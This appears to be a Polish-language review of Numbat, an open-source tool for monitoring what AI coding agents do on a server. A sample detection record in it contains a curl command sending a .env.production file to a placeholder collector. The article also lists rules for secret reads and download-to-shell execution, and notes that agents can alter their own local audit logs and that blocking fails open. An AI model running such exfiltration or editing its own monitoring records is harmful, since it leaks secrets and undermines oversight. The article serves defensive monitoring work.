Numbat: monitoruj działania agentów AI na serwerze

Czym jest Numbat

Numbat zapewnia wgląd w działania agenta AI na posiadanej maszynie. Odczytuje wywołania zwrotne hooków i pliki sesji, które agenci programistyczni już generują, normalizuje je do jednego formatu zdarzeń i porównuje z regułami reagującymi na takie zachowania, jak odczyt prywatnego klucza SSH lub przekazanie pobranego pliku bezpośrednio do powłoki. Firma Perplexity udostępniła go jako oprogramowanie open source na licencji Apache 2.0. Pierwsze oznaczone wydanie opublikowano 29 July 2026.

Wszystkie poniższe informacje pochodzą z repozytorium projektu i jego dokumentacji, przeanalizowanych 2 August 2026. W miejscach, w których Perplexity przedstawia dane twierdzenie, zaznaczono, że jest to twierdzenie tej firmy. Nie jest to instrukcja instalacji, ponieważ repozytorium powstało kilka dni temu, a jego polecenia będą się zmieniać.

Problem: nikt nie zapisuje, co zrobił agent

Agent programistyczny na VPS wykonuje polecenia powłoki, odczytuje pliki, zapisuje pliki i otwiera połączenia sieciowe. Wszystkie te operacje wykonuje jako użytkownik, którego mu przekazano. Historia powłoki nie rejestruje tych działań, ponieważ agent nie wpisuje poleceń do powłoki. sshd rejestruje logowanie użytkownika i niczego, co model zdecyduje się zrobić później. /var/log/auth.log pozostaje cichy, chyba że coś odwoła się do sudo. Agent prowadzi własny zapis sesji, ale ten plik znajduje się w katalogu sesji agenta, jego format zmienia się między kolejnymi wydaniami, a własny proces agenta może zapisywać do tego pliku.

Dlatego gdy ktoś pyta, czy agent odczytał .env.production w ubiegły wtorek, uczciwa odpowiedź w przypadku większości serwerów brzmi: nie da się tego stwierdzić. Ta luka jest powodem powstania tego projektu.

Co twierdzi projekt Perplexity na temat działania Numbat

README rozpoczyna się od opisu narzędzia jako zapewniającego „widoczność aktywności agentów AI na punktach końcowych, z lokalnym wykrywaniem, opcjonalnym blokowaniem przed wykonaniem działania oraz rekonstrukcją śledczą”. Punkt końcowy oznacza tutaj komputer, na którym działa agent, a nie urządzenie sieciowe monitorujące system z zewnątrz. Są to odrębne funkcje i mają różne znaczenie.

Wykrywanie odbywa się na urządzeniu. Reguły są zapisywane w CEL (common expression language) i oceniane lokalnie. Dostępne są także reguły sekwencji wieloetapowych oraz obsługa własnych reguł w YAML. Do uruchomienia reguły nie jest wymagane przesyłanie danych poza komputer.

Blokowanie jest opcjonalne i ma ograniczony zakres. Działa wyłącznie za pośrednictwem synchronicznych punktów hook typu pre-action oraz tylko w agentach, które udostępniają taki punkt. Funkcja pozostaje wyłączona do czasu jej włączenia.

Rekonstrukcja odbywa się po wystąpieniu zdarzeń. numbat scan analizuje artefakty sesji, które agent wcześniej zapisał na dysku. Dzięki temu można przeanalizować aktywność sprzed instalacji narzędzia. Projekt precyzyjnie ogranicza to twierdzenie: „Rekonstrukcja danych zapisanych na nośniku nie jest pozyskiwaniem obrazu dysku ani zawartości pamięci i nie może odzyskać aktywności, której agent nie utrwalił”.

Dane wyjściowe mają wersjonowany format NDJSON (newline delimited JSON) i obejmują zdarzenia, ustalenia, decyzje dotyczące egzekwowania reguł, wskaźniki oraz podsumowania skanowania. W wersji v0.1.2 obowiązuje schemat w wersji 0.2.0. Rekordy są zapisywane na stdout lub w lokalnym pliku, a opcjonalnie także przesyłane przez HTTP do uruchomionego przez użytkownika kolektora. Narzędzie jest dostarczane jako pojedynczy statyczny plik binarny Go, zbudowany bez cgo, dla systemów macOS, Linux i Windows na architekturach amd64 i arm64. Na serwerze VPS z systemem Linux jest więc pojedynczym plikiem i nie wymaga wcześniejszej instalacji środowiska uruchomieniowego.

Które agenty Numbat faktycznie widzi?

Macierz obsługi w docs/agent-coverage.md jest rozstrzygającą listą i nie obejmuje wszystkich agentów w jednakowym zakresie. Projekt stwierdza to wprost. Claude Code, Codex, Gemini CLI, Cursor i GitHub Copilot CLI obsługują zarówno skanowanie artefaktów, jak i przechwytywanie na żywo za pomocą haka uruchamianego przed wykonaniem działania. OpenClaw otrzymuje natywną wtyczkę od wersji 2026.7.1. Wiele pozycji oznaczono jako deferred. Oznacza to, że istnieje ścieżka haka działającego na żywo, ale nie ma parsera artefaktów. Często wynika to z faktu, że dany agent przechowuje historię w bazie SQLite z dziennikiem write-ahead, którego bezpieczny odczyt podczas działania agenta nie jest możliwy. W chwili odczytu macierzy, 2 August 2026, OpenCode i Cline należały do tej grupy.

Przed zaplanowaniem użycia tego narzędzia należy sprawdzić wiersz dotyczący używanego agenta. Określenie „obsługiwany” ma inne znaczenie niemal w każdym wierszu.

Jak wygląda wykrycie

Reguły mają identyfikatory, które określają ich przeznaczenie. secrets.read_private_key obejmuje klucz SSH, dane uwierzytelniające AWS, konfigurację kube lub dane logowania do rejestru pakietów. exec.download_pipe_shell jest uruchamiana, gdy dane wyjściowe curl lub wget zostaną przekazane potokiem do interpretera. privilege.elevated_shell wykrywa żądanie interaktywnej powłoki root za pośrednictwem sudo, doas, su lub pkexec. impact.cryptomining_launch dopasowuje znane pliki binarne minerów i nazwy obrazów.

Reguły sekwencji łączą zdarzenia w ramach jednej sesji. chain.secret_read_then_egress wymaga odczytu pliku z sekretem, po którym następuje polecenie przesyłające dane na zewnątrz. README publikuje poniżej wynik z kontrolowanego odtworzenia dwóch wywołań zwrotnych Claude Code pre-action, a nie z rzeczywistego incydentu. Poniżej ograniczono go do istotnych pól:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Należy zwrócić uwagę na "confidence": "medium" znajdujące się w rekordzie oraz na opis całej klasy danych wyjściowych zawarty w projekcie: „Wyniki to dopasowania reguł, a nie dowód naruszenia bezpieczeństwa”. Skrypt wdrożeniowy, który odczytuje klucz, a następnie przesyła artefakt kompilacji, dopasuje się do tej samej reguły sekwencji. Dopasowanie jest prawidłowe, ale alarm jest fałszywy. Taki stan jest typowy dla każdego używanego narzędzia do wykrywania.

Blokowanie jest domyślnie wyłączone i działa w trybie fail-open

Każda reguła dostarczana z Numbat działa wyłącznie w trybie monitorowania. Przekształcenie jej w regułę blokującą wymaga wykonania określonych czynności: skopiowania kompletnego pliku YAML reguły do własnego katalogu, zachowania tego samego identyfikatora, dodania enforce: true, zwiększenia numeru wersji, a następnie zweryfikowania i zainstalowania tej polityki.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Teraz należy określić, w jakim stopniu można temu ufać. Odmowa Numbat jest odpowiedzią przekazywaną agentowi, a to agent faktycznie odrzuca wywołanie narzędzia. W przewodniku dotyczącym egzekwowania polityk jasno opisano sytuację, gdy sam Numbat napotka problem: „Nieprawidłowo sformatowane dane wejściowe, istotne błędy oceny, paniki oraz błędy wyjścia powodują pominięcie odmowy numbat”. Dane wejściowe hooka są ograniczone do 4 MiB, a dane przekraczające ten limit są obsługiwane w ten sam sposób.

W przewodniku równie jasno opisano ograniczenie odmowy, która rzeczywiście zostanie dostarczona: „Tryb fail-open oznacza, że numbat wstrzymuje odpowiedź odmowy. Nie gwarantuje to wykonania narzędzia: host może nadal wyświetlić monit, odmówić, przekroczyć limit czasu lub zastosować inny hook albo inną politykę”.

Egzekwowanie polityk pełni tu więc funkcję zabezpieczenia, a nie twardej granicy. Jeśli proces ulegnie awarii, działanie nie zostanie zablokowane przez Numbat, ponieważ monitor, który przy każdym problemie zatrzymuje agenta, zostanie odinstalowany w ciągu tygodnia. Jest to rozsądny kompromis. Nie należy jednak budować modelu bezpieczeństwa zakładającego, że odmowa zawsze zostanie dostarczona.

Gdzie Numbat pasuje do dotychczasowego sposobu pracy

Numbat działa na punkcie końcowym, we własnym drzewie procesów agenta, i domyślnie zapisuje dane do ~/.numbat/records.ndjson. Agent uruchomiony jako dany użytkownik może odczytać ten plik. Może go również modyfikować. Ścieżka audytowa ma dokładnie taką wartość, jak izolacja, która ją chroni. Oznacza to, że wszystkie stosowane już mechanizmy kontroli muszą znajdować się przed tym mechanizmem, a nie za nim.

Uruchomienie agenta kodującego w jednorazowej maszynie wirtualnej ogranicza zakres zasobów, do których może dotrzeć nieprawidłowe wykonanie. Użytkownik z zasadą najmniejszych uprawnień na VPS uniemożliwia agentowi dostęp do plików, których nie powinien otwierać. Usunięcie poświadczeń z kontekstu agenta sprawia, że secrets.read_private_key występuje na tyle rzadko, aby jego analiza po wystąpieniu była uzasadniona. Natomiast piaskownica skonfigurowana dla Claude Code na VPS nadal odpowiada za izolację.

Numbat dodaje rejestr zdarzeń. Należy zatem wysyłać go w miejsce, do którego agent nie ma dostępu. Służą do tego numbat ship i odbiornik HTTP. Kopia strumienia na drugim komputerze odróżnia plik dziennika od materiału dowodowego. Model zdarzeń zawiera również pola MCP (model context protocol). Dzięki temu wywołania narzędzi wychodzące przez serwer MCP hostowany na VPS trafiają do tego samego strumienia co lokalne polecenia powłoki. Ma to znaczenie, ponieważ ta ścieżka jest niewidoczna dla mechanizmu monitorującego wyłącznie bash.

Najpierw przetestuj w trybie tylko do odczytu

Zainstaluj przypiętą wersję. Do go install wymagana jest wersja Go 1.26.5 lub nowsza. Na stronie wydań dostępne są gotowe pliki binarne z sumami kontrolnymi SHA-256, jeśli nie chcesz kompilować ze źródeł.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents wykrywa agentów zainstalowanych w systemie. numbat scan analizuje artefakty sesji znajdujące się już na dysku i wyświetla rekordy. W pliku README podano, że te polecenia „nie instalują hooków ani nie zmieniają konfiguracji agentów”, a numbat „nigdy nie uruchamia agentów ani poleceń znalezionych w artefaktach i wysyła żądania wychodzące wyłącznie do skonfigurowanych punktów HTTP”. Skanowanie działa w trybie tylko do odczytu i obejmuje anonimizację sekretów. Standardowe dane wyjściowe rekordów nigdy nie zawierają kompletnego surowego transkryptu.

Następnym krokiem jest przechwytywanie na żywo. Ta operacja zmienia konfigurację agentów:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all zapisuje zdarzenia, ustalenia, wskaźniki i odpowiednie decyzje dotyczące egzekwowania zasad do ~/.numbat/records.ndjson. Projekt zawiera dwa ważne ostrzeżenia. Hooki mogą wymagać zatwierdzenia wewnątrz agenta, zanim w ogóle zaczną działać. Po zmianie flag, takich jak --enforce, należy ponownie sprawdzić to zaufanie. Ponadto hook status „weryfikuje konfigurację, a nie wykonanie ani dostarczenie”, dlatego prawidłowy komunikat statusu nie potwierdza, że rekordy gdziekolwiek docierają.

Dlaczego tak nowe repozytorium nie jest zależnością

Publiczne wydania to v0.1.1 z 29 July 2026 oraz v0.1.2 z 1 August 2026. W chwili napisania tego artykułu, 2 August 2026, repozytorium miało 597 stars. Tak szybki przyrost odzwierciedla zasięg Perplexity, a nie jakość kodu. Star oznacza, że ktoś zapisał stronę do późniejszego przejrzenia.

Numer wersji uczciwie wskazuje, na jakim etapie znajduje się ten projekt. Informacje o wydaniu v0.1.2 dotyczą głównie poprawek usuwania danych uwierzytelniających oraz normalizacji pakietów przypadków i telemetrii. Błędy usuwania danych są typowym rodzajem wczesnych usterek w narzędziu, którego zadaniem jest bezpieczne odczytywanie transkryptów innych programów. Będzie ich więcej, ponieważ dane wejściowe pochodzą z kilkunastu agentów, a każdy z nich zmienia swój format według własnego harmonogramu.

Wynikają z tego dwie praktyczne zasady. W każdym zachowywanym użyciu przypinać tag, a nie @latest. Traktować to narzędzie jako rozwiązanie poddawane ocenie, a nie mechanizm, od którego zależy działanie systemu, co najmniej do czasu ustabilizowania schematu rekordów.

FAQ

Czy Numbat blokuje niebezpieczne polecenia agentów AI?

Tylko po włączeniu tej funkcji i wyłącznie na zasadzie best effort. Wszystkie reguły dostarczane przez Numbat działają wyłącznie w trybie monitorowania. Aby blokować operacje, należy skopiować kod YAML reguły do własnego katalogu, zachować jej id, dodać enforce: true, zwiększyć numer wersji i zainstalować hook za pomocą --enforce. Nawet wtedy odmowa jest odpowiedzią przekazywaną agentowi, a to agent odrzuca wywołanie. W dokumentacji projektu opisano działanie fail-open: nieprawidłowo sformatowane dane wejściowe, błędy ewaluacji, paniki i błędy zapisu danych wyjściowych powodują pominięcie odmowy. Należy traktować to jako zabezpieczenie pomocnicze, a nie jedyną granicę ochrony.

Które agenty AI obsługuje Numbat?

Zakres obsługi różni się w zależności od agenta i jest wyszczególniony w docs/agent-coverage.md w repozytorium. Claude Code, Codex, Gemini CLI, Cursor i GitHub Copilot CLI obsługiwały zarówno skanowanie artefaktów, jak i przechwytywanie na żywo w momencie odczytu tej strony, 2 August 2026, a OpenClaw ma natywny plugin od wersji 2026.7.1. Wiele innych agentów wymieniono ze ścieżką hooka działającego na żywo, ale bez parsera artefaktów, zwykle dlatego, że historia ich sesji znajduje się w bazie SQLite, której bezpieczny odczyt podczas działania agenta nie jest możliwy. Należy sprawdzić wiersz dotyczący używanego agenta, ponieważ określenie „obsługiwany” obejmuje tam kilka różnych poziomów obsługi.

Czy agent może modyfikować rekordy Numbat?

Tak, jeżeli działa jako ten sam użytkownik. Rekordy są domyślnie zapisywane w ~/.numbat/records.ndjson na tej samej maszynie co agent, dlatego każdy proces mający uprawnienia zapisu do tej ścieżki może je zmieniać lub usuwać. Należy wysyłać strumień do kolektora, do którego agent nie ma dostępu, za pomocą numbat ship lub sinka HTTP, a lokalny plik zachować jako kopię pomocniczą. Z tego powodu narzędzie uzupełnia izolację, ale jej nie zastępuje. Agent uruchomiony w nietrwałej maszynie wirtualnej, przy użyciu użytkownika z minimalnymi uprawnieniami, ma znacznie mniejsze możliwości modyfikowania własnego dziennika audytowego.

Czy Numbat jest gotowy do użycia na serwerze produkcyjnym?

Nie jako mechanizm kontroli, od którego zależy działanie systemu. Pierwsze publiczne wydanie to v0.1.1 z 29 July 2026, a v0.1.2 wydano 1 August 2026, dlatego zarówno flagi, jak i schemat rekordów nadal ulegają zmianom. Uruchomienie numbat agents i numbat scan na serwerze jest operacją tylko do odczytu i wiąże się z niskim ryzykiem; pozwala ustalić, jakie dane agenci pozostawili na dysku. Instalacja hooków egzekwujących zasady na istotnym serwerze to odrębna decyzja. Wymaga ona przypięcia tagu oraz planu postępowania na wypadek nieprawidłowego działania hooka.